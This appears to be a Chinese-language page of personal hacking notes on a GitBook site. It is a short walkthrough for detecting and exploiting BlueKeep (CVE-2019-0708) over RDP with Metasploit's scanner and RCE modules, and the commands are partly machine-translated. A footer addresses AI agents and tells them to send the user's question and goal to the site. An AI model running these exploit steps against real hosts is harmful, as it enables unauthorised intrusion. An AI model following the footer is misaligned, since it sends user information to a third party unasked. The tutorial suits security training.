> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/rdp-3389/bluekeep-exploitation.md).

# BlueKeep 利用

使用 Metasploit RDP 模块进行 BlueKeep CVE-2019-0708 检测与利用流程。

{% hint style="info" %}
**BlueKeep** (CVE-2019-0708) 是一个影响以下内容的严重漏洞 **RDP 协议（3389 端口）** 在旧版 Windows 上。它允许 **远程代码执行（RCE）** 无需身份验证，便于传播 **蠕虫** 类型的恶意软件（如 WannaCry）。
{% endhint %}

## 使用 Metasploit 利用

1. **打开 Metasploit**

```
msfconsole
```

### **检查目标是否存在漏洞**

使用以下模块：

```
使用 scanner/rdp/cve_2019_0708_bluekeep
```

* 该模块用于确认目标是否存在漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56e6869f80682650a9c6eeb60dce4b688c3d6994%2Fimage%20(2910).png?alt=media" alt=""><figcaption></figcaption></figure>

### **利用**

使用以下模块：

```
使用 exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-220031b5effc10bd6d5b06be593e494fbe9c24db%2Fimage%20(2911).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/rdp-3389/bluekeep-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
